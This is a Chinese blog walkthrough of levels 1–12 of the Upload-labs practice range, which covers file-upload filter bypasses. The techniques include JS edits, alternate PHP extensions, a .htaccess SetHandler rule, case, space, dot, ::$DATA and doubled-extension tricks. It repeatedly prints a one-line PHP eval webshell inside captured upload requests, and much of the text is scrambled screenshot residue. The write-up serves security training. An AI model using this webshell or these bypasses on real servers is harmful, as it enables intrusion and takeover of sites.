Upload-labs靶场_第1~12关总结

原创

逆流. ● 于 2021-02-01 22:57:13 发布 ● 364 ☆ 收藏 1
 分类专栏: Web安全 文章标签: 网络安全
 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
 本文链接: https://blog.csdn.net/weixin_43264698/article/details/113319769



Web安全 专栏收录该内容

2 篇文章 0 订阅 订阅专栏

Upload-labs靶场_第1~12关总结

前言 靶场介绍

第1至12关

客户端

服务端

一、黑名单过滤

二、白名单过滤

总结

前言

本文章写第1关到12关的writeup,文章中的顺序是按照关卡所涉及到绕过技巧而进行排序,后面13至20关另开文章来总结。下载的靶场版本只有20关,现在有第21关。

Upload-labs靶场的过关方式不唯一,本文章仅供参考。若出现错误,请大佬纠正~

靶场介绍

来自于README.md文件的内容: upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一 个全面的了解。目前一共20关,每一关都包含着不同上传方式。

靶场下载链接: https://github.com/c0ny1/upload-labs.

环境: Window2003作为服务器,集成环境phpStudy2018

Tip: php的版本不能太高,否则会导致某些关卡无法进行漏洞利用,博主是使用php的5.2.17版本,并且服务器是window2003并未在Linux 环境下进行测试。

?php phpinfo(); @eval(\$_POST['shell']); ?>

第1至12关



前十二关所涉及的过滤技巧

客户端

第1关中,在客户端,即浏览器,利用JavaScript语言来对用户上传的文件进行检测,因此这种机制较为容易攻击。 在靶场第一关就给出该类型的文件上传漏洞:修改前端JS代码即可成功上传代码

🖬 upload-labs 🛛 🗙 🕂					-	ð ×
← → C 🛛 🔏 www.server.c	n/upload-labs/Pass-01/index.php			88	··· ☆ ⊻ III 🗞 🖁	" ≫ ≟
Pass-02	1255					
Pass-03	上传一个 webshell 到服务器。					
Pass-04						
Pass-06	上传区					
Pass-07	请选择要上传的图片:					
Pass-08						l
Pass-09	浏览 shell.php	上传				
Pass-10						
Pass-11						
Pass-12						
Doop 12						>
🔋 🕘 HackBar 🚺 査看器 🕟 控制台	合 □ 调试器 ⑦ 性能 ↑↓ 网络 {} #	武编辑器 🕼 内存 😑 存储 肯 无障碍	环境 闘 应用程序 🔒 Max HacKBar			<u> </u>
搜索 HTML	+ 🎢	▼ 过速样式	:hov .cls 🕂 🗈	▶ 布局 计算值 更改 字体	动画	
html> event		ヘ 元素 ゆ {	内联	▼ 弹性盒		
<pre>> <nead> === </nead> * <body> 滚动</body></pre>		} 继承自 ol		选择一个弹性 (Flex) 容器或项目以继续		
<pre>> <div id="head"> </div> </pre>	18702 - ">	ol • {	index.css:44	▼ 网格		
<pre>> <div id="menu"></div></pre>	10204, 7	list-style: ▶ none;		此页面上没有使用 CSS 网格		
<pre>v<div id="upload_panel"> v</div></pre>		, 继承自 body		▼ 倉模型		
▶ <1i>> ··· <!--1i-->		body 🗘 {	index.css;7			
▼ ::marker		font-family: Lato, "Helvetica Neu 微软雅黑, sans-serif;	e", Helvetica, <u>Arial</u> , " <u>Microsoft Yahei</u> ",	margin	0	
<h3>上传区</h3>	and data? matched "seat"	}		border	0	
onsubmit ="return true">	orm-data method= post			0 0 0 1104.9	0 0 0 0	
(p>请选择要工作的图片:				T T	0	
<input class="input_file</td><td>e" name="upload_file" type="file"/>		一将其返回值改为True		16		
<pre><input class="button" pre="" t<=""/></pre>	ype="submit" name="submit" value="上				10	
传">				1104.97×77.9333		static
				▽ 盒模型属性		
<pre>> <div id="msg"> ··· </div> > <div id="img"> ··· </div></pre>				box-sizing	content-box	
		~		float	none	
ml > body > div#main > div#upload_pane	el > ol > li > form			line-height	normals://blog.csdn.net/we	ixin_4326469

服务端

一、黑名单过滤

1: 在第3以及第4关中利用特殊后缀来进行绕过。

1.1: 第3关,后端服务器只过滤了四种常见后缀,因此可以利用php3或者php5后缀来上传木马文件,从而达到get shell。

Tip: 靶场环境是由phpStudy所搭建而成,http-conf文件默认是注释掉php3,php5和phtml等后缀,因此服务端无法解析到这些后缀的文件 (但能成功上传,却无法利用菜刀或者蚁剑连接,即getshell失败),所以需要修改配置文件。

学习链接: https://blog.csdn.net/qq_43480081/article/details/102504348

🖇 Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz	- c	
Burp Project Intruder Repeater Window Help		
Dashboard Target Peopue Intruder Repeater Sequencer Decoder Comparer Extender Project options User options		
Intercept HTTP history WebSockets history Options		
Request to http://www.server.cn.80 [192.168.136.130]		
Forward Drop Intercept is on Action	Comment this item	* ?
Raw Params Headers Hex		
<pre>1 Str (ypt=1-bac/pase-3//index.php HTT/1.1 Dest: yvt=xer(:n Dest: vvt=xer(:n Dest: vvt=xer(:n) Dest: vvt=xer(:n) Dest: vvt=xer(:n) Dest: vvt=xer(:n) Dest: vvt=xer(:n) Dest: vvt=xer(:n) Dest: vvt=xer(:n) Dest: vvt=xer(:n) Dest: vvt=xer(:n) Content-Type: Hillpat/Content-tex) bundary</pre>		
(2) < + > Type a search term	https://blog.csdn.net/weixir	0 matches

蚁剑					👩 uplo	ad-labs	× phpinfo()	× +	- 🗆
rd 编辑 窗口 训	副武				← → C ⁱ	🛈 🔏 www.s	erver.cn/upload-labs/uploa	90% ··· ☆ ⊻ Ⅲ\ 🧳	: ^{127.} ×
l						PHP Version	5.2.17	aha	
管理 (0)				▶ 分类目录 (1)					
址	IP地址	创建时间	更新时间	●添加 A		System	Windows NT COUNTERFLOW 5.2 build 379	0	
				□ 默认分类		Build Date	Jan 6 2011 17:26:08		1
■ 添加数据						Configure Command	cscript /nologo configure.js "enable-snap with-snapshot-template=d\php-sdk\snap_ build=d\php-sdk\snap_5_2\vc6\v86\php_b sdk\oracle\instantclient10\sdk,shared" "w \instantclient10\sdk,shared" "without-pi3	shot-build" *enable-debug-pack" * 5_2\vc6\x86\template" *with-php- uild" *with-pdo-oci=D:\php- ith-oci8=D:\php-sdk\oracle web"	
						Server API	Apache 2.4 Handler - Apache Lounge		1
O添加 × >	青空 🔅 测试连接					Virtual Directory Support	enabled		
自 基础能立			*			Configuration File (php.ini) Path	C:\WINDOWS		
URL地址 *	http://www.server.cn/up	pload-labs/upload/20210128223426	1449.php3			Loaded Configuration File	C:\phpstudy\PHPTutorial\php\php-5.2.17\p	ohp.ini	
连接密码 * 网站备注	 ● IP地址 (1) (1)(2)(2)(2)(2)(2)(2)(2)(2)(2)(2)(2)(2)(2)					Scan this dir for additional .ini files	(none)		
编码设置	UTF8		•			additional .ini files parsed	(none)		
连接类型	PHP		~			PHP API	20041225		Í.
	40x70 P9					PHP Extension	20060613		1
	编明話					Zend Extension	220060519		1
	● default (不推荐)					Debug Build	no		1
	○ random (不推荐)					Zend Memory	enabled		
	base64		*			IPv6 Support	enabled		1
2 请求信息			^			Registered PHP Streams	php, file, data, http, ftp, compress.zlib, com	press.bzip2, zip	
◎。 其他设置	_		^			Registered Stream Socket Transports	tcp, udp		
			J.	成功		Registered Stream Filters	convert.iconv.*, string.rot13, string.toupper, convert.*, consumed, zlib.*, bzip2.*	, string.tolower, string.strip_tags,	
			¥ ż	生接成功!		This program make	es use of the Zend Scripting Language Engine	2: Powered By	1

部分源码如下,完整源码请自行查看

• • •	
if (<pre>(isset(\$_POST['submit'])) {</pre>
	<pre>if (file_exists(UPLOAD_PATH)) {</pre>
	<pre>\$deny_ext = array('.asp','.aspx','.php','.jsp');</pre>
	<pre>\$file_name = trim(\$_FILES['upload_file']['name']);</pre>
}	

1.2: 而第4关利用.htaccess文件来使得upload文件夹中的所有文件都会以php的方式进行解析,因此把shell.php的后缀名改成shell.png,最终服务器都会将shell.png以php的方式进行解析

百度百科:

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即,在一个特定的 文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通 过Apache的AllowOverride指令来设置。

1.2.1 先在本地编写.htaccess文件,文件内容如下,并且上传至服务器。上传成功后,上传木马文件,将后缀改成允许的后 缀名即可利用工具来getshell。

.htaccess文件内容: SetHandler application/x-httpd-php

💈 Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz	- a x
Burp Project Intruder Repeater Window Help	
Dashboard Target Provy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options	
HTTP history WebSockets history Options	
Request to http://www.server.cn.80 [192.168.136.130]	
Forward Drop Intercept is on Action	Comment this item 👋 🥐
Raw Params Headers Hex	
<pre>1 057 / upload-laws/Pase-04/index.php?action=bbsyccode NTTP/1.1 Dbst: vw.scrve.com 0 Dex-Agent: Noill4/50 (Vindow BT 10.0, Vind4; x44; rvt52.0) 0 ecks/20100101 Firefox/03.0 4 Accept: Exclash.aptication/thai-wai.phileation/mile-05.kase/webp.///v;ev0.0 4 Accept: Exclash.aptication/thai-wai.phileation/mile-05.kase/webp.//v;ev0.0 5 Accept: Exclash.aptication/thai-wai.phileation/mile-05.kase/webp.//v;ev0.0 6 Accept: Exclash.aptication/thai-wai.phileation/mile-05.kase/webp.//v;ev0.0 7 Accept: Exclash.aptication/thai-wai.phile-05.kase/webp.//v;ev0.0 8 Accept: Exclash.aptication/thai-wai.phile-05.kase/webp.//v;ev0.0 9 Accept: Exclash.aptication/thai-wai.phile-05.kase/webp.//v;ev0.0 9 Accept: Accept: Acceptication/thai-wai.phile-05.kase/webp.//v;ev0.0 9 Accept: Acceptication/thai-wai.phile-05.kase/webp.//webp.//webp.//v;ev0.0 9 Accept: Acceptication/thai-wai.phile-05.kase/webp.///webp.//w</pre>	
(?) < + > Type a search term	https://blog.csdn.net/weixin < 0 matches

rd 编辑 窗口 训	周武			7			127				
				•	<) → C 0	🔏 www.server.cn/uploac 🗱 📃 🧐 👀 🚥	⊥ ∓ ∥/ 🌜 🚑				
					PHP Versio	n 5.2.17	oho				
管理 (0)	 編辑 室□ 调试 (0) 1P地址 创建时间 更新时间 1 添加数据 × 0 添加 × 清空 ○ 测试连接 基础配置 URL地址 * http://www.server.cn/upload-labs/uploas[shell.ong] 连接变码 * cmd 网站备注 编印设置 UTT8 ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼		▶ 分类目录 (1)	>							
址	IP地址 创建	时间 更新时间	● 添加 A 重命名	會 删除	System	Windows NT COUNTERFLOW 5.2 build 3790					
			□ 對认分类	0	Build Date	Jan 6 2011 17:26:08					
■ 沃加数据					Configure Command	cscript /nologo configure.js "enable-snapshot-build" 'enable-debug-pack" with-snapshot-template=dx/php-sdk/snap 5_2wc/sdb(template"with-php- build=dx/php-sdk/snap 5_2wc/sdb(b)pb_build"with-pdo=oci=Dxphp- sdk/oracle/instantclient10/sdk/shared"with-odl=Dxphp-sdk/oracle Vinstantclient10/sdk/shared"withot-instweh					
					Server API	Apache 2.4 Handler - Apache Lounge					
O 添加 × i	清空 🔅 测试连接				Virtual Directory Support	enabled					
■ 基础配置		*			Configuration Fil	e C:\WINDOWS					
URL地址 *	http://www.server.cn/upload-labs/upload/shell	l.png			Loaded Configuration Fil	C:\phpstudy\PHPTutorial\php\php-5.2.17\php.ini					
连接密码 * 网站备注	cmd				Scan this dir for additional .ini files	(none)					
编码设置	UTF8	~			additional .ini files parsed	(none)					
连接类型	PHP	~			PHP API	20041225					
	Adarsh 199				PHP Extension	20060613					
连接密码 * (网站备注 编码设置 [连接类型] ((((((((((((2月17-162				Zend Extension	220060519					
	 ● default (不推荐) 				Debug Build	no					
	○ random (不推荐)				Thread Safety	enabled					
	○ base64				Manager	enableu					
	0 54501	~			IPv6 Support	enabled					
2 请求信息		*			Registered PHP Streams	php, file, data, http, ftp, compress.zlib, compress.bzip2	2, zip				
Q; 其他设置		~			Registered Stream Socket Transports	tcp, udp					
			功	8	Registered Stream Filters	convert.iconv.*, string.rot13, string.toupper, string.tolo convert.*, consumed, zlib.*, bzip2.*	ower, string.strip_tags,				
		🖌 🖌 连	接成功!								

2: 第5关大小写绕过

2.1: 从源码分析得出,虽有黑名单但未进行后缀名大小写转化,因此第5关利用大小写绕过来上传木马文件。

🖇 Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz	- 0 ×
Burp Project Intruder Repeater Window Help	
Dishboard Target Press, Intruder Repeater Sequencer Decoder Comparer Extender Project options User options	
Intercept, HTTP history WebSockets history Options	
Request to http://www.server.cn.80 [192.168.136.130]	
Forward Drop Intercept is on Action	Comment this item 👋 🕐
Raw Params Headers Hex	
<pre>1 NST (upthat-lab/Pas-dV)(nds.php)faction=how_gode HTTP/1.1 1 Dest; upthat_NSI(14).0 (Vindew HT 10.0; Vind(; xd; vv:E.0) Geck/20100101 Firefox/EL0 1 Dest-Apent: KSI(14).5.0 (Vindew HT 10.0; Vind(; xd; vv:E.0) Geck/20100101 Firefox/EL0 1 Accept taxCollag: crip, define</pre>	
V < + > Type a search term	nttps://blog.csdn.net/weixin_40 matches

 Type a search term

蚁愈	IJ								-	o x	al	bs	×	phpinfo()			×	+			-			
rd	编辑窗口调	试										<i>a</i>							A .I			127.		
												www.s	server.cn,	/upioad=lat	os/upioa ax	E (90)	70)	¥ ⊻	2 1111	6 -		1	
l											н	P Version	5.2.17						P	hp	\sim			
管理	(0)								▶ 分类目录 (1)	>	>									-				
址		IP地址		创建时间		更新时	6)		●添加 A 重命	名 會 删除		am	Windows		FLOW 5.2 bui	Id 3790		_						
									[□ 野订 分类	0		d Date	Jan 6 201	1 17:26:08	1000 5.2 001	14 57 50		_			_			
	□ 添加数据 ○ 添加 × %	青空 📑 测试连接				-	= ×				m	figure nmand	cscript /n with-snap build=d:\ sdk\oracl \instantcl	ologo configu oshot-template php-sdk\snap e\instantclient ient10\sdk,sha	re.js "enable ==d:\php-sdk _5_2\vc6\x86\ 10\sdk,shared ared" "witho	e-snapshot-l \snap_5_2\v php_build 1" "with-oo ut-pi3web"	build" c6\x86 "with ci8=D:\	'enab \templa 1-pdo-o \php-sd	le-debug ite" "w ci=D:\ph k\oracle	g-pack" ith-php- np-	•			
	自基础配置						~				rv	er API	Apache 2	.4 Handler - A	pache Lounge	•								
ľ				_							rti P	ual Directory port	enabled											
	URL地址 *	http://www.server.cn/up	pload-labs/	upload <mark>/</mark> 2021012	82302285139	9.PHp					n	figuration File	C:\WIND	ows										
L	连接密码 *	cmd									np	ded	C:\phpstu	udv\PHPTutoria	al\php\php-5	.2.17\php.ini	I	_						
L	网站备注										'n	figuration File												
L	编码设置	UTF8				•					ar di as	n this dir for itional .ini	(none)											
L.	连接类型	PHP				•					di	itional .ini	(none)											
L		编码器									IP	API	20041225	5										
		 default (不推荐) 									IP	Extension	20060613	3				_						
L		 									n	d Extension	22006051	19										
L		 Tandom (/Tyle19) 									b	ug Build	no											
١.		O base64					Ŧ				ne	ad Safety	enabled											
	● 请求信息						^				an	nager												
	✿》 其他设置						^				/6	Support	enabled											
											gi re	ams	pnp, file,	data, nttp, ftp,	compress.ziit	o, compress.	.bzip2,	zip						
											gi re	istered am Socket Isports	tcp, udp											
								,成功		8	gi	istered am Filters	convert.ic convert.*,	conv.*, string.ro , consumed, zli	ot13, string.to ib.*, bzip2.*	upper, string	g.tolov	ver, strir	ng.strip_	tags,				
							Ľ	连接	成功!		is	program make	es use of th	e Zend Scripti	ng Language	Engine:			Po http://t	wered By blograsa	In.net/w	veixin_*		264

部分源码如下,完整源码请自行查看

```
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = ... //黑名単数组
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        if (!in_array($file_ext, $deny_ext)) {
            ...
        }
        else {
            ...
        }
    } else {
            ...
        }
    }
}
```

3: 第6关空格绕过

3.1: 从源码分析得出,虽有黑名单但未进行前后空格进行处理,因此第6关利用空格进行绕过。

🕉 Burp Suite Professional v2020.1 - Temporary Project - licensed to surfersyz	-	o x	l
Burp Project Intruder Repeater Window Help			
Dashboard Target Prove Infruder Repeater Sequencer Decoder Comparer Extender Project options User options			
Intercept HTTP history WebSockets history Options			
Request to http://www.server.cn.80 [192.168.136.130]			
Forward Drop Intercept is on Action	Comment this item	₹ ?)
Raw Params Headers Hex			
<pre>1 NoT (uplace-law/ser-0//uds.php?stien=bkw_code HTT/1.1 Det : vv:sti Cn D</pre>			
	latten Belen onde vietere et		1
Image: Optimized state Type a search term		0 matches	

议剑					- 0		abs	× phpinfo() ×	+ –	C	
d å	编辑 窗口 调	试						enver.cn/upload-labs/uploa 驟 🔋 90%	··· 🖒 🗸 🔟 🕐	127.	
						•				~ ·	
							HP Version	5.2.17	php)		
管理 ((0)			▶ 分类目录	(1)	>					
±٤		IP地址 创建时间	更新时间	○ 添加	A重命名	倉 删除	stem	Windows NT COUNTERELOW 5.2 build 3790			
				[기 봤니 슈)	*	0	ild Date	Jan 6 2011 17:26:08			
] 添加数据 O 添加	清空 📄 测试连接	_ = ×		^		nfigure mmand	cscript /nologo configure.js *enable-snapshot-build* with-snapshot-template=d\php-sdk\snap_5_2\vc6\x86 build=d\php-sdk\snap_5_2\vc6\x86\php_build*witt sdk\oracle\branttclient10xdk,shared*witth-ocl8=D; \instantclient10\sdk,shared*without-pi3web*	"enable-debug-pack" " 5\template" "with-php- h-pdo-oci=D:\php- !\php-sdk\oracle		
B	基础配置		*				rver API	Apache 2.4 Handler - Apache Lounge			
			A				tual Directory	enabled			
	URL地址 *	http://www.server.cn/upload-labs/upload/2021012823	07594598.php				nfiguration File hp.ini) Path	C:\WINDOWS			
	连接密码 * 网站备注	cmd					aded nfiguration File	C:\phpstudy\PHPTutorial\php\php-5.2.17\php.ini			
L	编码设置	UTF8	~				an this dir for ditional .ini 25	(none)			
	连接类型	PHP	~				ditional .ini es parsed	(none)			
		编码器					IP API	20041225			
		 default (不推荐) 					IP Extension	20060613			
		○ random (不推荐)					nd Extension	220060519			
		O hourdd					read Safety	no enabled			
e	请求信息	O baseo4					nd Memory anager	enabled			
ö	8 其他设署		•				/6 Support	enabled			
	0 MIGKI						gistered PHP reams	php, file, data, http, ftp, compress.zlib, compress.bzip2,	, zip		
							gistered ream Socket ansports	tcp, udp			
			18	动		⊗	gistered ream Filters	convert.iconv.*, string.rot13, string.toupper, string.tolov convert.*, consumed, zlib.*, bzip2.*	wer, string.strip_tags,		
			• 连	差成功!			is program make	es use of the Zend Scripting Language Engine:	Powered By	<i>reixin</i>	

部分源码如下,完整源码请自行查看

```
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = ... //黑名单数组
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strclower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        if (!in_array($file_ext, $deny_ext)) {
            ...
        } else {
            ...
        }
    }
}
```

4: 第7关点绕过以及第9关的点空绕过

4.1: 从第7关的源码分析得出,虽有黑名单但未进行点进行处理,因此第7关利用点绕过。

🖁 Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz													
Burp Project Intruder Repeater Window Help													
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options													
Intercept HTTP history WebSockets history Options													
Request to http://www.server.cn:80 [192.168.136.130]													
Forward Drop Intercept is on Action													
Raw Params Headers Hex													
1 POST /upload-labs/Pass-07/index.php?action=show_code HTTP/1.1													
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0													
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8													
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2													
6 Accept-Encoding: gzip, deflate													
7 [Content-Type: multipart/form-data; boundary=1263425078341351031268383504													
8 Content-Length: 399													
9 Origin: http://www.server.cn													
iu connection: close													
ii netriti. http://www.octvet.th/up/odu-labs/rass-0//index.php/action-snow_code													
<pre>POST /upload-labs/Pass=07/index.php?action=show_code HTTP/1.1 Host: www.server.cn User=Agent: Mozilla/S.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8 Accept=Language: zh=CN,zh;q=0.7,zh=TW;q=0.7,zh=HK;q=0.5,en=US;q=0.3,en;q=0.2 Accept=Encoding: gzip, deflate Content=Type: multipart/form=data; boundary====================================</pre>													
1512 63 42 507 83 41 3 51 03 12 68 3 83 50 4													
16 Content-Disposition: form-data; name="upload file"; filename="shell.php."													
17 Content-Type: application/octet-stream													
18													
19 php phpinfo(); @eval(\$_POST['shell']); ?													
20													
211263425078341351031268383504													
22 Content-Disposition: form-data; name="submit"													
43 (用会成) 25													
20													

https://blog.csdn.net/weixin_43264698

父剑				_			🐻 upload-labs	x	phpinfo()	× +	- 🗆					
1 编辑 窗口 调	试					$\left(\leftarrow \right)$		🔏 www.serve	r.cn/upload 🗱 🗉	90% ••• 🖌	II\ 📀 🛂 :	»				
					•					-		1				
							PHP Versio	n 5.2.17			php)					
理 (0)				▶ 分类目录 (1)	>											
Ł	IP地址	创建时间	更新时间	 承加 A 重命名 	會 删除		System	Windows NT CC	UNTERFLOW 5.2 build	3790		1				
				□ 默认分类	0		Build Date	Jan 6 2011 17:26	5:08							
 □ 添加数据 ○ 添加 × 3 	清空 🔷 测试连接		_ 🗆 ×				Configure Command	cscript /nologo with-snapshot-t build=d:\php-sc sdk\oracle\insta \instantclient10	configure.js "enable-s emplate=d:\php-sdk\si lk\snap_5_2\vc6\x86\pl ntclient10\sdk,shared" .sdk,shared" "without	snapshot-build" "enable nap_5_2\vc6\x86\templat hp_build" "with-pdo-oc "with-oci8=D:\php-sdk t-pi3web"	e-debug-pack" " e" "with-php- i=D:\php- \oracle					
▮ 基础配置			~				Server API	Apache 2.4 Han	dler - Apache Lounge							
			A				Virtual Directory Support	enabled								
URL地址 *	http://www.server.cn/	/upload-labs/upload/shell.php.					Configuration Fil (php.ini) Path	e C:\WINDOWS								
注接密码 *	cmd						Loaded Configuration Fil	C:\phpstudy\PH	PTutorial\php\php-5.2.	.17\php.ini						
编码设置	UTF8		•				Scan this dir for additional .ini files	(none)								
连接类型	PHP		~				additional .ini files parsed	(none)								
	编码器						PHP API	20041225								
	 default (不推荐) 						PHP Extension	20060613				Image: wide by Image: wide by				
	○ madam (乙烯类)						Zend Extension	220060519								
	○ random (小i#i#)						Debug Build	no								
	O base64		-				Thread Safety Zend Memory	enabled enabled								
e 请求信息			^				Manager									
✿:其他设置			^				IPv6 Support	enabled								
							Registered PHP Streams	php, file, data, h	ttp, ftp, compress.zlib,	compress.bzip2, zip						
							Registered Stream Socket Transports	tcp, udp								
			成	功	8		Registered Stream Filters	convert.iconv.*, convert.*, consu	string.rot13, string.tou; med, zlib.*, bzip2.*	oper, string.tolower, string	g.strip_tags,					
			ě	接成功!		<	This program mak	kes use of the Zend	Scripting Language En	ngine: https://blog:	Powered By] //35				

```
...
...
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = ...熙名单数组
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strchr($file_name, '.');
        $file_ext = strclower($file_ext); //排换为小写
        $file_ext = strclower($file_ext); //排换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); // 扩展去空
        if (!in_array($file_ext, $deny_ext)) {
            ...
        }
        else {
            ...
        }
        else {
            ...
        }
    }
}
```

4.2: 从第9关的源码分析得出,可以利用点空来进行绕过,因为程序先处理字符串中最后一位点,再获取后缀名。

🐕 Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz
Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
Intercept HTTP history WebSockets history Options
Request to http://www.server.cn:80 [192.168.136.130]
Forward Drop Intercept is on Action
Raw Params Headers Hex
1 POST /upload-labs/Pass-09/index.php?action=show_code HTTP/1.1
2 Host: www.server.cn 3 Hest: www.server.cn
Accept: text/html.application/xhtml+xml.application/xml;g=0.9.imace/webp.*/*;g=0.8
5 Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
6 Accept-Encoding: gzip, deflate
7 Content-Type: multipart/form-data; boundary=159997467420834044444001397425
8 Content-Length: 405
9 Origin: http://www.server.cn
10 Donnection: Close
12 Cockie: PHSESSID=dc5b204462bc4c9159643098a61492
13 Upgrade-Insecure-Requests: 1
14
151599974674208340444440 <mark>91997185</mark>
<pre>16 Content-Disposition: form-data; name="upload_file"; filename="shell.php"</pre>
17 Content-Type: application/octet-stream
18 19 - Chebrard Martin (M. DOSTELShellin) - 25
is comp pupinic(); deval(a_posit(smell)); //
21
22 Content-Disposition: form-data; name="submit"
23
24]捐ـــ
2515999746742083404444001397425
26

https://blog.csdn.net/weixin 43264698



```
in.
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = ...黑名单数组
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strclower($file_ext); //排换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); // 首尾去空
        if (!in_array($file_ext, $deny_ext)) {
            ...
        }
        else {
            ...
        }
    }
}
```

5: 第8关::\$DATA绕过

5.1:分析第8关的源码可以得出,程序再检验的时候并未对::\$DATA进行过滤,因此可以利用Window文件系统NTFS的特性 来进行绕过。(目的让服务器不检查后缀从而达到绕过的效果)

来自某位大佬的博客:

这道题利用的是Windows下NTFS文件系统的一个特性,即NTFS文件系统的存储数据流的一个属性 DATA 时,就是请求 a.asp 本身的数据,如果a.asp 还包含了其他的数据流,比如 a.asp:lake2.asp,请求 a.asp:lake2.asp::\\$DATA,则是请求a.asp中的流数据 lake2.asp的流数据内容。(小白的我还是懵懂,如果有大佬能通俗易懂地给我讲解一下,将感激不尽)

博客链接: https://www.jianshu.com/p/b1a130902b4e

Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz
Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
Intercept HTTP history WebSockets history Options
Request to http://www.server.cn:80 [192.168.136.130]
Forward Drop Intercept is on Action
Post /upload-labs/Pass-08/index.php?action=show_code_HTTP/1_1
2 Host: www.server.cn
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 4 Accent: text/html.application/xhtml+yml.application/yml:g=0.9.image/webp.*/*:g=0.8
5 Accept-Language: th-CN, th:g=0.8, th-TW;g=0.7, th-KK;g=0.5, en-US;g=0.3, en;g=0.2
6 Accept-Encoding: gzip, deflate
7 Content-Type: multipart/form-data; boundary=101509337117092999181135755098
8 Content-Length: 405
9 Origin: http://www.server.cn
10 Connection: close
11 Referer: http://www.server.cn/upload-labs/Pass-U8/index.php?action=show_code
12 Upgrade-Insecure-Requests: 1
14
13
16 Content-Type: anplication/octet-stream
18 php phpinfo(); @eval(\$ POST['shell']); ?
19
20101509337117092999181135755098
21 Content-Disposition: form-data; name="submit"
23 消要紙
24101509337117092999181135755098
25
https://blog.csdn.net/weixin_43264698

👩 upload-labs	x phpinfo() x +		- & ×
← → C' 0	www.server.cn/upload-labs/upload/202101292357008352.pl	访问时去掉::\$DATA即可	≋ 🗉 ····☆ 🔺 🕪 🍪 🛼 » =≘
			í
 吵地 □ 添加数据 ○ 添加 × 涕 	- ロ× 1空 〇 冽试连接	1790 ● 分炎目家(1) iapshot-build* *enable-debug-pack* * p.5_2Vxc5Vx86\template* *with-php- 5_2Vxc5Vx86\template* *with-php- with-ode=0-ci-D2php-sdk/oracle ○ 添加 A 重命名 ● 酬約 ○ 読加 A 重命名 ● 酬約 ○ 読加 A 重命名 ● 酬約	
■ 基础配置	~	- WINNE DISMED	
URL地址 连接密码 网站备注 编码设置 连接类型	http://www.server.cn/upload-labs/upload/202101292357008352.php cmd UTF8 PHP 塗 default (不推尊) orandom (不推尊) base64	7\php.ini	
2 请求信息	^		
0; 其他设置	へ 及 道 Transports Registered	pmpress.bzip2, zip دارگایا: convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags,	https://biog.csdn.net/weixin_43264658



6: 第10关双重后缀名绕过

6.1:分析第10关的源码可以得知,程序将出现再黑名单数组中的字符串代替成空字符串,因此可以用双重后缀名来达到绕 过效果,例如phPHPp替换字符串后变成了php。

